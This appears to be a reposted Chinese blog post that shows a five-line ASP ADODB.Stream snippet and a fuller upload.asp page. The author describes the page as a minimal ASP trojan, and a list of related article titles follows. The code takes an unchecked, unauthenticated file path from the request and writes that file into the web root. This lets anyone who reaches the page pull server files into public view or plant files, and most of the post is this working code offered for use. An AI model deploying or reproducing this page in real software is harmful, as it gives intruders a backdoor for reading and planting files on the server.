五行代码实现ASP无组件上传
来源:互联网 发布:请问管家婆软件好用吗 编辑:程序博客网 时间:2024/05/17 06:15
目前有很多无组件上传类,大多写的相当复杂,有的居然还只能传文本,最关键的是没有10行代码以下的。
其实无组件上传最核心的代码就是ADODB.Stream,实际只用五行代码就可以实现了无组件上传。
Set objStream = Server.CreateObject("ADODB.Stream")
objStream.Type = 1
objStream.Open
objStream.LoadFromFile Request("upfilename")
objStream.SaveToFile Server.MapPath("test.gif"),2
使用方法:
把上面的代码写成upload.asp,在浏览器里面输入http://localhost/upload.asp?upfilename=c:/test/test.gif
localhost为你的主机地址,执行完后你会看到你的目录下面多了一个test.gif,他就是你要文件拉。
根据原理我们可以扩展以下代码,算一个最小的ASP木马吧,有一点值得注意,上传的本地文件路径不能包含中文字符,否则会出错。
upload.asp文件
<%
Function GetFileName(ByVal strFile)
If strFile <> "" Then
GetFileName = mid(strFile,InStrRev(strFile, "/")+1)
Else
GetFileName = ""
End If
End function
strFileName = Request.Form("upfilename")
If strFileName<>"" Then
Set objStream = Server.CreateObject("ADODB.Stream")
objStream.Type = 1
objStream.Open
objStream.LoadFromFile strFileName
objStream.SaveToFile Server.MapPath(GetFileName(strFileName)),2
objStream.Close
response.write "OK!"
Else
%>
<form action='<%= Request.ServerVariables("URL") %>' method='post'>
<input type='file' name='upfilename'> <input type='submit'></form>
<%
End if
%>
- 五行代码实现ASP无组件上传
- 五行代码实现ASP无组件上传
- 五行代码实现ASP无组件上传
- ASP实现无组件文件上传的代码
- 6行代码实现ASP无组件上传
- 6行代码实现ASP无组件上传
- asp实现无组件上传文件原理
- 6行代码实现无组件上传
- 6行代码实现无组件上传
- 六行代码实现无组件上传
- ASP 无组件上传
- asp无组件上传
- Asp无组件上传
- asp无组件上传
- asp无组件上传
- asp无组件上传
- ASP无组件上传
- ASP无组件上传
- 计算机教材:写给自己,还是读者
- 欺骗的艺术(第一章 安全软肋一)
- SQL游标操作
- eval() 获取难以索引的对象
- c# 字符10进制转2进制
- 五行代码实现ASP无组件上传
- 脚本实现CheckBox父选中,子全选中,子选中父也选中!
- 欺骗的艺术(第一章 安全软肋二)
- 北京高考零分作文:《北京符号》
- sql2000网络备份(转载)
- 自动替换页面失效图片的代码
- [转帖]【一个很牛的婆婆写给媳妇的一封信】vs【一个很牛的媳妇写给婆婆的一封信】
- Linux文件查找命令find,xargs详述
- 自己写的一个数据访问类,请高手帮忙看看!谢谢!